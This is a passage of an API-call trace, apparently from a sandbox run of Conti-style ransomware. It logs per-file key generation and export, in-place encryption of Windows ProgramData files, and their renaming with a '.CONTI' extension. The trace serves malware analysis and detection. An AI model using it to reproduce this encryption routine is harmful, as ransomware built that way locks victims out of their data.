	[0099.165] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\s640.hash" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\x-none.16\\s640.hash")) returned 0x20
	[0099.165] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\s640.hash" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\x-none.16\\s640.hash"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0
	[0099.165] GetLastError () returned 0x0
	[0099.165] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x35ffa00 | out: lpFileSize=0x35ffa00*=102) returned 1
	[0099.165] SetFilePointer (in: hFile=0x3a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x66
	[0099.165] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x22e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.165] SetEndOfFile (hFile=0x3a0) returned 1
	[0101.779] SetFilePointer (in: hFile=0x3a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0101.779] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0101.779] WriteFile (in: hFile=0x3a0, lpBuffer=0x17e922c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x35ffa0c, lpOverlapped=0x0 | out: lpBuffer=0x17e922c*, lpNumberOfBytesWritten=0x35ffa0c*=0x20c, lpOverlapped=0x0) returned 1
	[0102.764] SetFilePointer (in: hFile=0x3a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0102.764] ReadFile (in: hFile=0x3a0, lpBuffer=0x11c20000, nNumberOfBytesToRead=0x66, lpNumberOfBytesRead=0x35ffa2c, lpOverlapped=0x0 | out: lpBuffer=0x11c20000*, lpNumberOfBytesRead=0x35ffa2c*=0x66, lpOverlapped=0x0) returned 1
	[0102.764] CryptEncrypt (in: hKey=0x17c7e70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11c20000*, pdwDataLen=0x35ffa24*=0x66, dwBufLen=0x500000 | out: pbData=0x11c20000*, pdwDataLen=0x35ffa24*=0x70) returned 1
	[0102.764] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0102.764] WriteFile (in: hFile=0x3a0, lpBuffer=0x11c20000*, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0x35ffa40, lpOverlapped=0x0 | out: lpBuffer=0x11c20000*, lpNumberOfBytesWritten=0x35ffa40*=0x70, lpOverlapped=0x0) returned 1
	[0102.764] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0102.764] WriteFile (in: hFile=0x3a0, lpBuffer=0x17e9220*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x35ffa58, lpOverlapped=0x0 | out: lpBuffer=0x17e9220*, lpNumberOfBytesWritten=0x35ffa58*=0x8, lpOverlapped=0x0) returned 1
	[0102.764] SetFilePointer (in: hFile=0x3a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0102.764] CloseHandle (hObject=0x3a0) returned 1
	[0103.961] GetProcessHeap () returned 0x1720000
	[0103.961] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x18123a8
	[0103.961] lstrcpyW (in: lpString1=0x18123a8, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\s640.hash" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\s640.hash") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\s640.hash"
	[0103.961] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\s640.hash", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\s640.hash.CONTI") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\s640.hash.CONTI"
	[0103.961] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\s640.hash" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\x-none.16\\s640.hash"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\s640.hash.CONTI" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\x-none.16\\s640.hash.conti")) returned 1
	[0104.242] GetProcessHeap () returned 0x1720000
	[0104.242] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x18123a8 | out: hHeap=0x1720000) returned 1
	[0104.244] CryptDestroyKey (hKey=0x17c7e70) returned 1
	[0104.244] GetProcessHeap () returned 0x1720000
	[0104.244] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17cba80 | out: hHeap=0x1720000) returned 1
	[0104.244] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90) returned 1
	[0104.995] CryptGenKey (in: hProv=0x176b798, Algid=0x6610, dwFlags=0x1, phKey=0x17d3b18 | out: phKey=0x17d3b18*=0x17c8530) returned 1
	[0104.995] CryptExportKey (in: hKey=0x17c8530, hExpKey=0x175e8b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d3b1c, pdwDataLen=0x35ffa54 | out: pbData=0x17d3b1c*, pdwDataLen=0x35ffa54*=0x20c) returned 1
	[0104.996] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger\\AutoLogger-Diagtrack-Listener.etl" (normalized: "c:\\programdata\\microsoft\\diagnosis\\etllogs\\autologger\\autologger-diagtrack-listener.etl")) returned 0x2020
	[0104.996] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger\\AutoLogger-Diagtrack-Listener.etl" (normalized: "c:\\programdata\\microsoft\\diagnosis\\etllogs\\autologger\\autologger-diagtrack-listener.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0104.996] GetLastError () returned 0x0
	[0104.996] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x35ffa00 | out: lpFileSize=0x35ffa00*=196608) returned 1
	[0104.996] SetFilePointer (in: hFile=0x38c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x30000
	[0104.997] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0104.997] SetEndOfFile (hFile=0x38c) returned 1
	[0104.997] SetFilePointer (in: hFile=0x38c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0104.997] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.997] WriteFile (in: hFile=0x38c, lpBuffer=0x17d3b1c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x35ffa0c, lpOverlapped=0x0 | out: lpBuffer=0x17d3b1c*, lpNumberOfBytesWritten=0x35ffa0c*=0x20c, lpOverlapped=0x0) returned 1
	[0104.999] SetFilePointer (in: hFile=0x38c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0104.999] ReadFile (in: hFile=0x38c, lpBuffer=0x11c20000, nNumberOfBytesToRead=0x30000, lpNumberOfBytesRead=0x35ffa2c, lpOverlapped=0x0 | out: lpBuffer=0x11c20000*, lpNumberOfBytesRead=0x35ffa2c*=0x30000, lpOverlapped=0x0) returned 1
	[0105.038] CryptEncrypt (in: hKey=0x17c8530, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11c20000*, pdwDataLen=0x35ffa24*=0x30000, dwBufLen=0x500000 | out: pbData=0x11c20000*, pdwDataLen=0x35ffa24*=0x30010) returned 1
	[0105.038] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0105.038] WriteFile (in: hFile=0x38c, lpBuffer=0x11c20000*, nNumberOfBytesToWrite=0x30010, lpNumberOfBytesWritten=0x35ffa40, lpOverlapped=0x0 | out: lpBuffer=0x11c20000*, lpNumberOfBytesWritten=0x35ffa40*=0x30010, lpOverlapped=0x0) returned 1
	[0105.039] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0105.039] WriteFile (in: hFile=0x38c, lpBuffer=0x17d3b10*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x35ffa58, lpOverlapped=0x0 | out: lpBuffer=0x17d3b10*, lpNumberOfBytesWritten=0x35ffa58*=0x8, lpOverlapped=0x0) returned 1
	[0105.039] SetFilePointer (in: hFile=0x38c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0105.039] CloseHandle (hObject=0x38c) returned 1
	[0105.039] GetProcessHeap () returned 0x1720000
	[0105.039] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6585ee0
	[0105.039] lstrcpyW (in: lpString1=0x6585ee0, lpString2="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger\\AutoLogger-Diagtrack-Listener.etl" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger\\AutoLogger-Diagtrack-Listener.etl") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger\\AutoLogger-Diagtrack-Listener.etl"
	[0105.039] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger\\AutoLogger-Diagtrack-Listener.etl", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger\\AutoLogger-Diagtrack-Listener.etl.CONTI") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger\\AutoLogger-Diagtrack-Listener.etl.CONTI"
	[0105.039] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger\\AutoLogger-Diagtrack-Listener.etl" (normalized: "c:\\programdata\\microsoft\\diagnosis\\etllogs\\autologger\\autologger-diagtrack-listener.etl"), lpNewFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger\\AutoLogger-Diagtrack-Listener.etl.CONTI" (normalized: "c:\\programdata\\microsoft\\diagnosis\\etllogs\\autologger\\autologger-diagtrack-listener.etl.conti")) returned 1
	[0105.040] GetProcessHeap () returned 0x1720000
	[0105.040] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6585ee0 | out: hHeap=0x1720000) returned 1
	[0105.040] CryptDestroyKey (hKey=0x17c8530) returned 1
	[0105.040] GetProcessHeap () returned 0x1720000
	[0105.040] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c3688 | out: hHeap=0x1720000) returned 1
	[0105.040] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90) returned 1
	[0105.416] CryptGenKey (in: hProv=0x176b798, Algid=0x6610, dwFlags=0x1, phKey=0x17d4fa0 | out: phKey=0x17d4fa0*=0x17c8370) returned 1
	[0105.416] CryptExportKey (in: hKey=0x17c8370, hExpKey=0x175e8b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d4fa4, pdwDataLen=0x35ffa54 | out: pbData=0x17d4fa4*, pdwDataLen=0x35ffa54*=0x20c) returned 1
	[0105.416] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\03d1e1da-f580-45d7-afdd-3598ed7cdba4_show.xml" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlanding\\03d1e1da-f580-45d7-afdd-3598ed7cdba4_show.xml")) returned 0x20
	[0105.417] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\03d1e1da-f580-45d7-afdd-3598ed7cdba4_show.xml" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlanding\\03d1e1da-f580-45d7-afdd-3598ed7cdba4_show.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0105.417] GetLastError () returned 0x5
	[0105.417] CryptDestroyKey (hKey=0x17c8370) returned 1
	[0105.417] GetProcessHeap () returned 0x1720000
	[0105.417] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17cb440 | out: hHeap=0x1720000) returned 1
	[0105.417] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90) returned 1
	[0107.266] CryptGenKey (in: hProv=0x176b798, Algid=0x6610, dwFlags=0x1, phKey=0x17d2448 | out: phKey=0x17d2448*=0x17c8230) returned 1
	[0107.266] CryptExportKey (in: hKey=0x17c8230, hExpKey=0x175e8b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d244c, pdwDataLen=0x35ffa54 | out: pbData=0x17d244c*, pdwDataLen=0x35ffa54*=0x20c) returned 1
	[0107.268] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\prov\\runtime.xml")) returned 0x20
	[0107.268] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\prov\\runtime.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0107.268] GetLastError () returned 0x0
	[0107.268] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x35ffa00 | out: lpFileSize=0x35ffa00*=428) returned 1
	[0107.268] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1ac
	[0107.268] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.268] SetEndOfFile (hFile=0x390) returned 1
	[0107.269] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.269] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.269] WriteFile (in: hFile=0x390, lpBuffer=0x17d244c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x35ffa0c, lpOverlapped=0x0 | out: lpBuffer=0x17d244c*, lpNumberOfBytesWritten=0x35ffa0c*=0x20c, lpOverlapped=0x0) returned 1
	[0107.270] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.271] ReadFile (in: hFile=0x390, lpBuffer=0x11c20000, nNumberOfBytesToRead=0x1ac, lpNumberOfBytesRead=0x35ffa2c, lpOverlapped=0x0 | out: lpBuffer=0x11c20000*, lpNumberOfBytesRead=0x35ffa2c*=0x1ac, lpOverlapped=0x0) returned 1
	[0107.271] CryptEncrypt (in: hKey=0x17c8230, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11c20000*, pdwDataLen=0x35ffa24*=0x1ac, dwBufLen=0x500000 | out: pbData=0x11c20000*, pdwDataLen=0x35ffa24*=0x1b0) returned 1
	[0107.271] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.271] WriteFile (in: hFile=0x390, lpBuffer=0x11c20000*, nNumberOfBytesToWrite=0x1b0, lpNumberOfBytesWritten=0x35ffa40, lpOverlapped=0x0 | out: lpBuffer=0x11c20000*, lpNumberOfBytesWritten=0x35ffa40*=0x1b0, lpOverlapped=0x0) returned 1
	[0107.271] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.271] WriteFile (in: hFile=0x390, lpBuffer=0x17d2440*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x35ffa58, lpOverlapped=0x0 | out: lpBuffer=0x17d2440*, lpNumberOfBytesWritten=0x35ffa58*=0x8, lpOverlapped=0x0) returned 1
	[0107.271] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.271] CloseHandle (hObject=0x390) returned 1
	[0107.271] GetProcessHeap () returned 0x1720000
	[0107.271] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0107.271] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime.xml"
	[0107.271] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime.xml.CONTI"
	[0107.271] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\prov\\runtime.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\prov\\runtime.xml.conti")) returned 1
	[0107.272] GetProcessHeap () returned 0x1720000
	[0107.272] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0107.272] CryptDestroyKey (hKey=0x17c8230) returned 1
	[0107.272] GetProcessHeap () returned 0x1720000
	[0107.272] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17cb828 | out: hHeap=0x1720000) returned 1
	[0107.272] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90) returned 1
	[0108.121] CryptGenKey (in: hProv=0x176b798, Algid=0x6610, dwFlags=0x1, phKey=0x6512528 | out: phKey=0x6512528*=0x17c8330) returned 1
	[0108.121] CryptExportKey (in: hKey=0x17c8330, hExpKey=0x175e8b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x651252c, pdwDataLen=0x35ffa54 | out: pbData=0x651252c*, pdwDataLen=0x35ffa54*=0x20c) returned 1
	[0108.124] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\142__Connections_Cellular_Orange (France)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\142__connections_cellular_orange (france)_i3$(__mvid)@wap.provxml")) returned 0x20
	[0108.124] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\142__Connections_Cellular_Orange (France)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\142__connections_cellular_orange (france)_i3$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4
	[0108.124] GetLastError () returned 0x0
	[0108.124] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x35ffa00 | out: lpFileSize=0x35ffa00*=842) returned 1
	[0108.125] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x34a
	[0108.125] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x22a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.125] SetEndOfFile (hFile=0x3c4) returned 1
	[0108.125] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.125] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.125] WriteFile (in: hFile=0x3c4, lpBuffer=0x651252c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x35ffa0c, lpOverlapped=0x0 | out: lpBuffer=0x651252c*, lpNumberOfBytesWritten=0x35ffa0c*=0x20c, lpOverlapped=0x0) returned 1
	[0108.128] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.128] ReadFile (in: hFile=0x3c4, lpBuffer=0x11c20000, nNumberOfBytesToRead=0x34a, lpNumberOfBytesRead=0x35ffa2c, lpOverlapped=0x0 | out: lpBuffer=0x11c20000*, lpNumberOfBytesRead=0x35ffa2c*=0x34a, lpOverlapped=0x0) returned 1
	[0108.128] CryptEncrypt (in: hKey=0x17c8330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11c20000*, pdwDataLen=0x35ffa24*=0x34a, dwBufLen=0x500000 | out: pbData=0x11c20000*, pdwDataLen=0x35ffa24*=0x350) returned 1
	[0108.128] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.128] WriteFile (in: hFile=0x3c4, lpBuffer=0x11c20000*, nNumberOfBytesToWrite=0x350, lpNumberOfBytesWritten=0x35ffa40, lpOverlapped=0x0 | out: lpBuffer=0x11c20000*, lpNumberOfBytesWritten=0x35ffa40*=0x350, lpOverlapped=0x0) returned 1
	[0108.128] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.128] WriteFile (in: hFile=0x3c4, lpBuffer=0x6512520*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x35ffa58, lpOverlapped=0x0 | out: lpBuffer=0x6512520*, lpNumberOfBytesWritten=0x35ffa58*=0x8, lpOverlapped=0x0) returned 1
	[0108.128] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.128] CloseHandle (hObject=0x3c4) returned 1
	[0108.128] GetProcessHeap () returned 0x1720000
	[0108.128] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0108.128] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\142__Connections_Cellular_Orange (France)_i3$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\142__Connections_Cellular_Orange (France)_i3$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\142__Connections_Cellular_Orange (France)_i3$(__MVID)@WAP.provxml"
	[0108.128] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\142__Connections_Cellular_Orange (France)_i3$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\142__Connections_Cellular_Orange (France)_i3$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\142__Connections_Cellular_Orange (France)_i3$(__MVID)@WAP.provxml.CONTI"
